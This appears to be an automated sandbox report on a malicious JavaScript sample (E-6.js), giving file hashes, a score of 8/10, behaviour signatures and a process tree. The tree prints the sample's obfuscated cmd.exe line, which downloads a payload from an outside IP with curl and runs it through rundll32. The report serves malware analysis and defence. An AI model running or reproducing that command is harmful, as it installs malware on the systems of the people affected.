Analysis

  • max time kernel
    118s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    16/10/2023, 14:08

General

  • Target

    E-6.js

  • Size

    413KB

  • MD5

    f33aa5fde88b857beecddbaf7b458462

  • SHA1

    714f52910b5ad25f4367620f5080c1d296fc5fe8

  • SHA256

    9230432b182ab7a828d024bca43c80fc0a3161d579932fd403ebb0c441309fae

  • SHA512

    128a2eea881a1282d9c288f3ad2d174047379f6314f6b900b818016a7816e60828b2e7866a5b911642e41e1e6b1d2d83c106bb0053366581677c5f70d7336a31

  • SSDEEP

    6144:hj38P9IwPaHP79bvi5u9r9pMrSxykQ+/weOMymjSXdxED3wNnQq:9OB+mNXdxE0Nn7

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\E-6.js
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1728
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c wUE || ecHo wUE & PInG wUE || cUrL http://193.168.141.169/EAgTzBF/mesoc -o %tmP%\wUE.log & PInG -n 3 wUE || RUNdlL32 %tMp%\wUE.log scab /k haval462 & exIt nwBgtrtktlX
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2204
      • C:\Windows\system32\PING.EXE
        PInG wUE
        3⤵
        • Runs ping.exe
        PID:1680
      • C:\Windows\system32\PING.EXE
        PInG -n 3 wUE
        3⤵
        • Runs ping.exe
        PID:1276
      • C:\Windows\system32\rundll32.exe
        RUNdlL32 C:\Users\Admin\AppData\Local\Temp\wUE.log scab /k haval462
        3⤵
          PID:1968

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\Cab5C64.tmp

            Filesize

            61KB

            MD5

            f3441b8572aae8801c04f3060b550443

            SHA1

            4ef0a35436125d6821831ef36c28ffaf196cda15

            SHA256

            6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

            SHA512

            5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

          • C:\Users\Admin\AppData\Local\Temp\Tar5C77.tmp

            Filesize

            163KB

            MD5

            9441737383d21192400eca82fda910ec

            SHA1

            725e0d606a4fc9ba44aa8ffde65bed15e65367e4

            SHA256

            bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

            SHA512

            7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf